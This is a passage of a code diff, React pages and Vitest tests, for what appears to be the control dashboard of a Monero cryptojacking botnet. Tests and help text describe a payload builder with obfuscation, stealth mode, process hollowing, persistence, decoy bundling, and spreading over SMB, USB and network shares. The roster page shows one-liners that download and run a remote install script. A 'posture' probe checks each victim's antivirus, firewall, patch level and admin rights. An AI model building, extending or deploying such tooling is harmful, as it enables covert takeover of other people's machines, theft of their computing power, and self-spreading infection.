pool_tls: true }), false); + expect(p3333.some((n) => n.includes('3333'))).toBe(true); + }); + + it('warns on low max CPU with high thread percent', () => { + const notices = getForgeLiveNotices( + baseForm({ max_cpu_usage_pct: 20, thread_percent: 80, thread_mode: 'percent' }), + false + ); + expect(notices.some((n) => n.includes('throttling'))).toBe(true); + }); + + it('describes universal, spread kit, and fusion deliverables', () => { + const universal = getForgeLiveNotices(baseForm({ target_os: 'universal' }), false); + expect(universal.some((n) => n.includes('Windows, Linux, and macOS'))).toBe(true); + + const spread = getForgeLiveNotices(baseForm({ spread_kit: true, target_os: 'universal' }), false); + expect(spread.some((n) => n.includes('Spread Kit'))).toBe(true); + + const fusion = getForgeLiveNotices(baseForm({ fusion_enabled: true, target_os: 'universal' }), true); + expect(fusion.some((n) => n.includes('Fusion builds a universal ZIP'))).toBe(true); + }); + + it('notes single-platform unix install paths', () => { + const linux = getForgeLiveNotices(baseForm({ target_os: 'linux' }), false); + expect(linux.some((n) => n.includes('linux worker'))).toBe(true); + + const darwin = getForgeLiveNotices(baseForm({ target_os: 'darwin' }), false); + expect(darwin.some((n) => n.includes('darwin worker'))).toBe(true); + }); + + it('warns on universal without deliverable type', () => { + const notices = getForgeLiveNotices( + baseForm({ target_os: 'universal', fusion_enabled: false, spread_kit: false }), + false + ); + expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true); + }); +}); diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts new file mode 100644 index 0000000..b70e8db --- /dev/null +++ b/server/web/src/help/settingHelp.test.ts @@ -0,0 +1,133 @@ +import { describe, expect, it } from 'vitest'; +import { FIELD_HELP, SETUP_CHEATSHEET } from './settingHelp'; + +describe('SETUP_CHEATSHEET', () => { + it('defines four setup steps in order', () => { + expect(SETUP_CHEATSHEET).toHaveLength(4); + expect(SETUP_CHEATSHEET.map((s) => s.title)).toEqual([ + '1. Calibrate once', + '2. Forge (Simple mode)', + '3. Deploy', + '4. Watch the fleet', + ]); + }); + + it('each step has non-empty title and body', () => { + for (const step of SETUP_CHEATSHEET) { + expect(step.title.trim().length).toBeGreaterThan(0); + expect(step.body.trim().length).toBeGreaterThan(20); + } + }); + + it('mentions key workflow concepts in bodies', () => { + const bodies = SETUP_CHEATSHEET.map((s) => s.body).join(' '); + expect(bodies).toContain('Calibrate'); + expect(bodies).toContain('Forge'); + expect(bodies).toContain('Command Deck'); + expect(bodies).toContain('Fleet Roster'); + }); +}); + +describe('FIELD_HELP', () => { + const expectedKeys = [ + 'calibrate_wallet', + 'calibrate_quick_setup', + 'forge_simple_mode', + 'forge_recommended_defaults', + 'obfuscate', + 'sign_build', + 'obfuscate_default', + 'sign_enabled', + 'sign_cert_thumbprint', + 'sign_tool_path', + 'sign_timestamp_url', + 'worker_name', + 'server_url', + 'output_dir', + 'wallet', + 'pool_host', + 'pool_port', + 'pool_tls', + 'pool_pass', + 'threads', + 'thread_mode', + 'thread_percent', + 'max_cpu_usage_pct', + 'max_memory_percent', + 'min_free_ram_mb', + 'cpu_priority', + 'mining_mode', + 'idle_threshold_pct', + 'idle_duration_minutes', + 'schedule_start', + 'schedule_end', + 'display_mode', + 'process_name', + 'persistence', + 'run_as', + 'silent_mode', + 'auto_start', + 'fusion_enabled', + 'fusion_run_order', + 'fusion_prep', + 'fusion_media_mode', + 'fusion_output_name', + 'fusion_batch', + 'install_base', + 'install_custom_base', + 'install_relative_path', + 'public_url', + 'websocket_ping_seconds', + 'log_pool_traffic', + 'adapt_to_hardware', + 'self_healing', + 'firewall_exclusion', + 'open_firewall_on_start', + 'file_logging', + 'stealth_mode', + 'ai_enabled', + 'ai_ollama_endpoint', + 'ai_model', + 'process_hollowing', + 'mesh_p2p', + 'auto_spread', + 'usb_spread', + 'share_spread', + 'hole_punch', + 'remote_aggressive', + 'target_os', + 'target_arch', + 'spread_kit', + 'forge_deliverable', + ] as const; + + it('defines help text for every documented field key', () => { + expect(Object.keys(FIELD_HELP).sort()).toEqual([...expectedKeys].sort()); + }); + + it('each help entry is a non-empty string', () => { + for (const key of expectedKeys) { + const text = FIELD_HELP[key]; + expect(typeof text).toBe('string'); + expect(text.trim().length).toBeGreaterThan(10); + } + }); + + it('wallet and server_url entries warn against localhost', () => { + expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i); + expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i); + expect(FIELD_HELP.public_url).toMatch(/not localhost/i); + }); + + it('fusion entries describe decoy bundling', () => { + expect(FIELD_HELP.fusion_enabled).toContain('Fuse the miner'); + expect(FIELD_HELP.fusion_prep).toContain('decoy'); + expect(FIELD_HELP.fusion_run_order).toContain('Parallel'); + }); + + it('advanced spread entries describe lateral/USB/share behavior', () => { + expect(FIELD_HELP.auto_spread).toContain('SMB'); + expect(FIELD_HELP.usb_spread).toContain('USB'); + expect(FIELD_HELP.share_spread).toContain('share'); + }); +}); diff --git a/server/web/src/pages/AgentsPage.test.tsx b/server/web/src/pages/AgentsPage.test.tsx new file mode 100644 index 0000000..033a488 --- /dev/null +++ b/server/web/src/pages/AgentsPage.test.tsx @@ -0,0 +1,215 @@ +/** + * @vitest-environment happy-dom + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { cleanup, render, screen, waitFor, within } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; +import AgentsPage from './AgentsPage'; +import { mockAgent, mockServerInfo } from '../test/fixtures'; +import { useWebSocket } from '../hooks/useWebSocket'; +import { api } from '../api/client'; + +vi.mock('../hooks/useWebSocket', () => ({ + useWebSocket: vi.fn(), +})); + +const useWebSocketMock = vi.mocked(useWebSocket); + +function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) { + return { + isConnected: false, + agents: [], + recentShares: [], + fleetAlerts: [], + poolStatus: [], + aiActivity: [], + agentLogs: {}, + commandResults: [], + latestMessage: null, + ...overrides, + }; +} + +function renderAgentsPage() { + return render(<AgentsPage />); +} + +describe('AgentsPage', () => { + beforeEach(() => { + vi.clearAllMocks(); + useWebSocketMock.mockReturnValue(wsValue()); + vi.spyOn(api, 'listAgents').mockResolvedValue([]); + vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo); + vi.spyOn(api, 'getAgentStats').mockResolvedValue([]); + vi.spyOn(api, 'getAgentLog').mockResolvedValue({ agent_id: 'x', content: 'log line' }); + vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({ + success: true, + agent: mockAgent({ notes: 'saved note', tags: ['rack-a'] }), + }); + vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({ + success: true, + sent: 1, + failed: 0, + action: 'restart', + }); + }); + + afterEach(() => { + cleanup(); + }); + + it('renders page heading and quick deploy labels', async () => { + renderAgentsPage(); + expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument(); + expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument(); + await waitFor(() => { + expect(screen.getByText('One-liner Quick Deploy')).toBeInTheDocument(); + }); + expect(screen.getByText('Install & run (auto-launches)')).toBeInTheDocument(); + expect(screen.getByText('Direct download only (saves file)')).toBeInTheDocument(); + expect(screen.getAllByText('Windows')).toHaveLength(2); + expect(screen.getByText('Linux/Mac')).toBeInTheDocument(); + expect(screen.getByText('macOS')).toBeInTheDocument(); + }); + + it('builds quick deploy URLs from server info', async () => { + renderAgentsPage(); + await waitFor(() => { + expect(screen.getAllByText(`iex (irm '${mockServerInfo.suggested_url}/install.ps1')`)).toHaveLength(1); + }); + expect(screen.getByText(`curl -sL ${mockServerInfo.suggested_url}/install.sh | bash`)).toBeInTheDocument(); + expect(screen.getByText(`${mockServerInfo.suggested_url}/get?os=windows`)).toBeInTheDocument(); + }); + + it('shows loading then empty multi-OS state', async () => { + renderAgentsPage(); + expect(screen.getByText('Scanning network...')).toBeInTheDocument(); + expect(await screen.findByText('No agents registered')).toBeInTheDocument(); + expect( + screen.getByText(/Deploy a worker to any machine \(Windows, Linux, or macOS\)/) + ).toBeInTheDocument(); + }); + + it('surfaces listAgents load errors', async () => { + vi.spyOn(api, 'listAgents').mockRejectedValue(new Error('API unavailable')); + renderAgentsPage(); + expect(await screen.findByText('API unavailable')).toBeInTheDocument(); + }); + + it('lists agents and opens detail panel with section headings', async () => { + const agent = mockAgent({ name: 'Rack B Miner', notes: 'basement', tags: ['home'] }); + vi.spyOn(api, 'listAgents').mockResolvedValue([agent]); + renderAgentsPage(); + await waitFor(() => { + expect(screen.getByText('Rack B Miner')).toBeInTheDocument(); + }); + await userEvent.setup().click(screen.getByText('Rack B Miner')); + await waitFor(() => { + expect(screen.getByRole('heading', { level: 2, name: 'Rack B Miner' })).toBeInTheDocument(); + }); + expect(screen.getByText('Notes & Tags')).toBeInTheDocument(); + expect(screen.getByText('Hashrate')).toBeInTheDocument(); + expect(screen.getByText('Shares')).toBeInTheDocument(); + expect(screen.getByText('Remote Control')).toBeInTheDocument(); + expect(api.getAgentStats).toHaveBeenCalledWith(agent.id, 60); + }); + + it('preserves notes draft while typing until agent switch', async () => { + const a1 = mockAgent({ id: 'a1', name: 'Node One', notes: 'note one' }); + const a2 = mockAgent({ id: 'a2', name: 'Node Two', notes: 'note two' }); + vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2]); + renderAgentsPage(); + await waitFor(() => expect(screen.getByText('Node One')).toBeInTheDocument()); + const user = userEvent.setup(); + await user.click(screen.getByText('Node One')); + const detail = await screen.findByRole('heading', { level: 2, name: 'Node One' }); + const panel = detail.closest('.agent-detail') as HTMLElement; + const notes = within(panel).getByPlaceholderText('Notes about this machine…') as HTMLTextAreaElement; + await waitFor(() => expect(notes.value).toBe('note one')); + await user.clear(notes); + await user.type(notes, 'typing in progress'); + expect(notes.value).toBe('typing in progress'); + await user.click(screen.getByText('Node Two')); + await waitFor(() => expect(notes.value).toBe('note two')); + }); + + it('saves notes and tags via API', async () => { + const agent = mockAgent({ id: 'save-me', name: 'Save Target' }); + vi.spyOn(api, 'listAgents').mockResolvedValue([agent]); + const updateSpy = vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({ + success: true, + agent: { ...agent, notes: 'Living room PC', tags: ['living-room'] }, + }); + renderAgentsPage(); + await waitFor(() => expect(screen.getByText('Save Target')).toBeInTheDocument()); + const user = userEvent.setup(); + await user.click(screen.getByText('Save Target')); + const detail = await screen.findByRole('heading', { level: 2, name: 'Save Target' }); + const panel = detail.closest('.agent-detail') as HTMLElement; + const notes = within(panel).getByPlaceholderText('Notes about this machine…'); + await user.clear(notes); + await user.type(notes, 'Living room PC'); + const tags = within(panel).getByPlaceholderText('Tags: living-room, rack-b (comma separated)'); + await user.clear(tags); + await user.type(tags, 'living-room, rack-b'); + await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' })); + await waitFor(() => { + expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']); + }); + expect(await within(panel).findByText('Saved')).toBeInTheDocument(); + }); + + it('alerts when bulk action has no online agents', async () => { + const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' }); + vi.spyOn(api, 'listAgents').mockResolvedValue([offline]); + const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {}); + renderAgentsPage(); + await waitFor(() => expect(screen.getByText('Offline Node')).toBeInTheDocument()); + const list = screen.getByText('Offline Node').closest('.agents-list') as HTMLElement; + await userEvent.setup().click(within(list).getByRole('checkbox')); + await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' })); + await waitFor(() => { + expect(alertSpy).toHaveBeenCalledWith('No online agents in selection.'); + }); + alertSpy.mockRestore(); + }); + + it('alerts when bulk command API fails', async () => { + const agent = mockAgent({ name: 'Online One' }); + vi.spyOn(api, 'listAgents').mockResolvedValue([agent]); + vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('bulk failed')); + const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {}); + renderAgentsPage(); + await waitFor(() => expect(screen.getByText('Online One')).toBeInTheDocument()); + const list = screen.getByText('Online One').closest('.agents-list') as HTMLElement; + await userEvent.setup().click(within(list).getByRole('checkbox')); + await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' })); + await waitFor(() => { + expect(alertSpy).toHaveBeenCalledWith('bulk failed'); + }); + alertSpy.mockRestore(); + }); + + it('syncs agents from websocket when connected', async () => { + const restAgent = mockAgent({ id: 'rest', name: 'REST Name', hashrate_15m: 100 }); + vi.spyOn(api, 'listAgents').mockImplementation( + () => new Promise((resolve) => setTimeout(() => resolve([restAgent]), 50)) + ); + const liveAgent = mockAgent({ id: 'rest', name: 'Live Name', hashrate_15m: 999 }); + useWebSocketMock.mockReturnValue(wsValue({ isConnected: true, agents: [liveAgent] })); + renderAgentsPage(); + await waitFor(() => { + expect(screen.getByText('Live Name')).toBeInTheDocument(); + }); + expect(screen.queryByText('REST Name')).not.toBeInTheDocument(); + }); + + it('shows filter empty hint when no agents match', async () => { + vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent({ name: 'Hidden', tags: ['prod'] })]); + renderAgentsPage(); + await waitFor(() => expect(screen.getByText('Hidden')).toBeInTheDocument()); + const search = screen.getByPlaceholderText('Search name, IP, notes, tags…'); + await userEvent.setup().type(search, 'nomatchxyz'); + expect(screen.getByText('No agents match filters.')).toBeInTheDocument(); + }); +}); diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index 74e3e0e..9c09750 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -1,4 +1,4 @@ -import { useState, useEffect, useMemo, useCallback } from 'react'; +import { useState, useEffect, useMemo, useCallback, useRef } from 'react'; import { api } from '../api/client'; import { useWebSocket } from '../hooks/useWebSocket'; import type { Agent, HashrateSample, ServerInfo } from '../types'; @@ -93,13 +93,25 @@ export default function AgentsPage() { const [tagsDraft, setTagsDraft] = useState(''); const [metaSaving, setMetaSaving] = useState(false); const [metaMsg, setMetaMsg] = useState(''); + const isConnectedRef = useRef(isConnected); + isConnectedRef.current = isConnected; useEffect(() => { + let cancelled = false; api.listAgents() - .then(setAgents) - .catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents')) - .finally(() => setLoading(false)); + .then((data) => { + if (!cancelled && !isConnectedRef.current) setAgents(data); + }) + .catch((err) => { + if (!cancelled) setLoadError(err instanceof Error ? err.message : 'Failed to load agents'); + }) + .finally(() => { + if (!cancelled) setLoading(false); + }); api.getServerInfo().then(setServerInfo).catch(() => {}); + return () => { + cancelled = true; + }; }, []); useEffect(() => { @@ -214,6 +226,7 @@ export default function AgentsPage() { await api.sendBulkCommand(onlineIds, action); } catch (err) { console.error(err); + alert(err instanceof Error ? err.message : 'Bulk command failed'); } finally { setBulkBusy(false); } diff --git a/server/web/src/pages/CruciblePage.css b/server/web/src/pages/CruciblePage.css index 52ee7a6..4f161e9 100644 --- a/server/web/src/pages/CruciblePage.css +++ b/server/web/src/pages/CruciblePage.css @@ -150,10 +150,82 @@ margin-top: 1px; } +.cn-badges { + display: flex; + flex-wrap: wrap; + gap: 0.25rem; + margin-top: 2px; +} + .cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); } .cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); } .cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); } +.cn-posture { + font-size: 0.68rem; + font-family: var(--font-tech); + letter-spacing: 0.04em; + padding: 1px 5px; + border-radius: 3px; +} + +.cn-posture.posture-good { color: var(--neon-green); background: rgba(57,255,20,0.1); } +.cn-posture.posture-warn { color: var(--neon-amber); background: rgba(255,176,32,0.12); } +.cn-posture.posture-bad { color: #ff4466; background: rgba(255,68,102,0.12); } +.cn-posture.posture-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); } + +.cn-patch { + font-size: 0.65rem; + font-family: var(--font-tech); + padding: 1px 5px; + border-radius: 3px; +} + +.cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); } +.cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); } + +.cn-elevated { + font-size: 0.62rem; + font-family: var(--font-tech); + padding: 1px 4px; + border-radius: 3px; + color: var(--neon-magenta); + background: rgba(255,45,166,0.12); + letter-spacing: 0.04em; +} + +/* ── Pending-updates badge ─────────────────────────────────────────────────── */ +.cn-upd { + font-size: 0.62rem; + font-family: var(--font-tech); + padding: 1px 4px; + border-radius: 3px; + letter-spacing: 0.04em; +} +.cn-upd.upd-ok { color: #00ff88; background: rgba(0,255,136,0.08); } +.cn-upd.upd-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); } +.cn-upd.upd-bad { color: #ff4444; background: rgba(255,68,68,0.12); font-weight: 700; } +.cn-upd.upd-unk { color: #888; background: rgba(128,128,128,0.08); } + +/* ── Reboot-pending badge ──────────────────────────────────────────────────── */ +.cn-reboot { + font-size: 0.62rem; + font-family: var(--font-tech); + padding: 1px 4px; + border-radius: 3px; + letter-spacing: 0.04em; +} +.cn-reboot.rb-pending { + color: #ff2222; + background: rgba(255,34,34,0.15); + font-weight: 700; + animation: rb-blink 1.4s step-end infinite; +} +@keyframes rb-blink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.45; } +} + /* ── Row: Groups + Actions ───────────────────────────────────────────── */ .crucible-row { diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index bfb53fe..6974aa5 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -45,6 +45,57 @@ function sshBadge(agent: Agent) { return { label: 'SSH ?', cls: 'ssh-unk' }; } +function postureBadge(score?: number) { + if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' }; + if (score >= 80) return { label: `P:${score}`, cls: 'posture-good' }; + if (score >= 40) return { label: `P:${score}`, cls: 'posture-warn' }; + return { label: `P:${score}`, cls: 'posture-bad' }; +} + +function patchLabel(days?: number) { + if (days === undefined) return null; + return { label: `${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' }; +} + +function postureTooltip(agent: Agent): string { + const lines: string[] = []; + const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?'; + const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?'; + + lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`); + if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`); + lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`); + lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`); + lines.push('──────────────────────'); + + // Patch exposure + if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`); + else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`); + if (agent.pending_updates !== undefined) { + const u = agent.pending_updates; + lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u} ⚠`}`); + } + if (agent.reboot_pending !== undefined) { + lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`); + } + return lines.join('\n'); +} + +function pendingBadge(agent: Agent): { label: string; cls: string } | null { + const u = agent.pending_updates; + if (u === undefined) return null; + if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' }; + if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' }; + if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' }; + return { label: `${u} UPD`, cls: 'upd-bad' }; +} + +function rebootBadge(agent: Agent): { label: string; cls: string } | null { + if (agent.reboot_pending === undefined) return null; + if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' }; + return null; // no badge when not pending — cleaner UI +} + function platformIcon(platform?: string): string { if (!platform) return '⬡'; const p = platform.toLowerCase(); @@ -99,8 +150,9 @@ export default function CruciblePage() { const [cmdHistory, setCmdHistory] = useState<string[]>([]); const [histIdx, setHistIdx] = useState(-1); - // SSH status overrides (from probe results) + // SSH / posture overrides (from on-demand probes) const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({}); + const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({}); const allIds = useMemo(() => agents.map((a) => a.id), [agents]); const selectedAgents = useMemo( @@ -128,20 +180,35 @@ export default function CruciblePage() { for (const r of newEntries) { const aid = r.agent_id; if (!aid) continue; - // Only show results from agents that are selected (or all if nothing selected) - if (selectedIds.size > 0 && !selectedIds.has(aid)) continue; - const agent = agents.find((a) => a.id === aid); - const name = agent?.name ?? aid.slice(0, 8); - // Parse SSH probe results to update ssh status const msg = r.message ?? ''; + // Always update badges from probe / heartbeat command responses if (msg.includes('SSH_PROBE:ONLINE')) { setSshOverride((prev) => ({ ...prev, [aid]: true })); } else if (msg.includes('SSH_PROBE:OFFLINE')) { setSshOverride((prev) => ({ ...prev, [aid]: false })); } + if (r.action === 'posture' || msg.includes('{')) { + try { + const start = msg.indexOf('{'); + if (start >= 0) { + const p = JSON.parse(msg.slice(start)) as { posture_score?: number; last_patch_days?: number; ssh_listening?: boolean }; + if (typeof p.posture_score === 'number') { + setPostureOverride((prev) => ({ + ...prev, + [aid]: { score: p.posture_score!, patchDays: p.last_patch_days }, + })); + } + if (p.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true })); + if (p.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false })); + } + } catch { /* ignore malformed JSON */ } + } + + if (selectedIds.size > 0 && !selectedIds.has(aid)) continue; + const agent = agents.find((a) => a.id === aid); + const name = agent?.name ?? aid.slice(0, 8); - // Split multi-line output const msgLines = msg.split('\n').filter(Boolean); for (const line of msgLines) { lines.push({ @@ -258,6 +325,28 @@ export default function CruciblePage() { } }; + const probePosture = (targets?: Agent[]) => { + const tgts = targets ?? selectedAgents.filter(online); + Promise.all( + tgts.map((a) => + api.sendAgentCommand(a.id, 'posture').catch((err) => { + setTermLines((prev) => [ + ...prev, + { + id: mkId(), + agentId: a.id, + agentName: a.name, + isCmd: false, + text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`, + ts: new Date(), + success: false, + }, + ]); + }) + ) + ); + }; + const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => { if (e.key === 'Enter') { sendCmd(); return; } if (e.key === 'ArrowUp') { @@ -282,6 +371,13 @@ export default function CruciblePage() { return sshBadge({ ...a }); }; + const postureStatus = (a: Agent) => { + const o = postureOverride[a.id]; + const score = o?.score ?? a.posture_score; + const patchDays = o?.patchDays ?? a.last_patch_days; + return { ...postureBadge(score), patch: patchLabel(patchDays) }; + }; + // ── Render ───────────────────────────────────────────────────────────── return ( @@ -319,6 +415,7 @@ export default function CruciblePage() { const sel = selectedIds.has(a.id); const isOn = online(a); const ssh = sshStatus(a); + const posture = postureStatus(a); const color = agentColor(a.id, allIds); return ( <div @@ -345,7 +442,36 @@ export default function CruciblePage() { <span>{a.cpu_cores}c</span> <span>{formatHashrate(a.hashrate_15m)}</span> </div> - <div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div> + <div className="cn-badges"> + <div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div> + <div + className={`cn-posture ${posture.cls}`} + title={postureTooltip(a)} + > + {posture.label} + </div> + {posture.patch && ( + <div + className={`cn-patch ${posture.patch.cls}`} + title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)`} + > + {posture.patch.label} + </div> + )} + {(() => { const pb = pendingBadge(a); return pb && ( + <div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}> + {pb.label} + </div> + ); })()} + {(() => { const rb = rebootBadge(a); return rb && ( + <div className={`cn-reboot ${rb.cls}`} title="System reboot required to apply updates"> + {rb.label} + </div> + ); })()} + {a.agent_elevated && ( + <div className="cn-elevated" title="Running as Administrator / root">ADMIN</div> + )} + </div> </div> </div> ); @@ -393,6 +519,26 @@ export default function CruciblePage() { <span className="section-ornament">◆</span> OPERATIONS </div> <div className="crucible-ops"> + <div className="crucible-op-group"> + <span className="cop-label">Posture</span> + <button + className="button crucible-op-btn" + disabled={selectedIds.size === 0} + onClick={() => probePosture()} + title="Probe selected: AV, RTP, firewall (per-profile), SSH, patch age, elevation" + > + Probe Selected + </button> + <button + className="button crucible-op-btn crucible-op-wake" + disabled={agents.filter(online).length === 0} + onClick={() => probePosture(agents.filter(online))} + title="Probe ALL online nodes at once" + > + ⚡ Probe All + </button> + </div> + <div className="crucible-op-group"> <span className="cop-label">SSH</span> <button diff --git a/server/web/src/pages/DashboardPage.test.tsx b/server/web/src/pages/DashboardPage.test.tsx new file mode 100644 index 0000000..02c955e --- /dev/null +++ b/server/web/src/pages/DashboardPage.test.tsx @@ -0,0 +1,190 @@ +/** + * @vitest-environment happy-dom + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { cleanup, render, screen, waitFor, within } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; +import { MemoryRouter } from 'react-router-dom'; +import DashboardPage, { formatShareTime } from './DashboardPage'; +import { mockAgent, mockShare } from '../test/fixtures'; +import { useWebSocket } from '../hooks/useWebSocket'; +import { api } from '../api/client'; + +vi.mock('../hooks/useWebSocket', () => ({ + useWebSocket: vi.fn(), +})); + +vi.mock('../components/Visual/3D/FleetTopologyMap', () => ({ + default: () => <div data-testid="fleet-topology-map" />, +})); + +vi.mock('../components/Visual/MatrixStreamOverlay', () => ({ + default: () => null, +})); + +const useWebSocketMock = vi.mocked(useWebSocket); + +function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) { + return { + isConnected: true, + agents: [], + recentShares: [], + fleetAlerts: [], + poolStatus: [], + aiActivity: [], + agentLogs: {}, + commandResults: [], + latestMessage: null, + ...overrides, + }; +} + +function renderDashboard() { + return render( + <MemoryRouter> + <DashboardPage /> + </MemoryRouter> + ); +} + +describe('formatShareTime', () => { + it('formats ISO timestamps as locale time strings', () => { + const iso = '2026-05-30T12:00:00.000Z'; + expect(formatShareTime(iso)).toBe(new Date(iso).toLocaleTimeString()); + }); +}); + +describe('DashboardPage', () => { + beforeEach(() => { + vi.clearAllMocks(); + localStorage.clear(); + useWebSocketMock.mockReturnValue(wsValue()); + vi.spyOn(api, 'getRecentShares').mockResolvedValue([]); + vi.spyOn(api, 'listBuilds').mockResolvedValue([]); + vi.spyOn(api, 'getConfig').mockResolvedValue({ + port: 8080, + data_dir: '', + pool: {} as never, + wallet: {} as never, + server: { dashboard_subtitle: 'custom subtitle from server' }, + alerts: {} as never, + }); + vi.spyOn(api, 'getAlerts').mockResolvedValue([]); + vi.spyOn(api, 'getPoolStatus').mockResolvedValue([]); + vi.spyOn(api, 'getAIActivity').mockResolvedValue([]); + vi.spyOn(api, 'getXmrPrice').mockResolvedValue({ usd: 165.5, updated_at: '' }); + vi.spyOn(api, 'getEarningsEstimate').mockResolvedValue({ + xmr_per_day: 0.01, + usd_per_day: 1.65, + network_hashrate: 1e9, + }); + vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({ + success: true, + sent: 1, + failed: 0, + action: 'restart', + }); + }); + + afterEach(() => { + cleanup(); + }); + + it('renders hero heading and key section titles', () => { + renderDashboard(); + expect(screen.getByRole('heading', { level: 1, name: 'Command Deck' })).toBeInTheDocument(); + expect(screen.getByText('Fleet Pipeline')).toBeInTheDocument(); + expect(screen.getByText('Share Activity Pulse')).toBeInTheDocument(); + expect(screen.getByText('Machine Roster')).toBeInTheDocument(); + expect(screen.getByText('PERSONAL NETWORK · LIVE TELEMETRY')).toBeInTheDocument(); + }); + + it('shows reconnecting label when websocket is down', () => { + useWebSocketMock.mockReturnValue(wsValue({ isConnected: false })); + renderDashboard(); + expect(screen.getByText('RECONNECTING')).toBeInTheDocument(); + }); + + it('shows signal locked when websocket is connected', () => { + renderDashboard(); + expect(screen.getByText('SIGNAL LOCKED')).toBeInTheDocument(); + expect(screen.getByText('0 nodes registered')).toBeInTheDocument(); + }); + + it('loads dashboard subtitle from config API', async () => { + renderDashboard(); + expect(await screen.findByText('custom subtitle from server')).toBeInTheDocument(); + expect(api.getConfig).toHaveBeenCalled(); + }); + + it('shows empty roster state when no agents', async () => { + renderDashboard(); + expect(await screen.findByText('No miners on the wire')).toBeInTheDocument(); + }); + + it('renders stat labels and top agent card', async () => { + const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 }); + useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] })); + renderDashboard(); + expect(await screen.findByText('Total Hashrate')).toBeInTheDocument(); + expect(screen.getByText('Fleet Online')).toBeInTheDocument(); + expect(screen.getByText('Accept Rate')).toBeInTheDocument(); + const roster = screen.getByText('Machine Roster').closest('section') as HTMLElement; + expect(within(roster).getByText('Alpha Node')).toBeInTheDocument(); + expect(within(roster).getByText('online')).toBeInTheDocument(); + }); + + it('toggles advanced mode and reveals share log section', async () => { + const user = userEvent.setup(); + vi.spyOn(api, 'getRecentShares').mockResolvedValue([mockShare()]); + renderDashboard(); + expect(screen.queryByText('Share Log')).not.toBeInTheDocument(); + await user.click(screen.getByRole('button', { name: '[ADVANCED]' })); + expect(screen.getByText('Share Log')).toBeInTheDocument(); + expect(localStorage.getItem('aether-dash-advanced')).toBe('1'); + }); + + it('shows share log rows in advanced mode with stable keys', async () => { + const share = mockShare({ id: undefined as unknown as number, hash: 'deadbeef' }); + vi.spyOn(api, 'getRecentShares').mockResolvedValue([share]); + 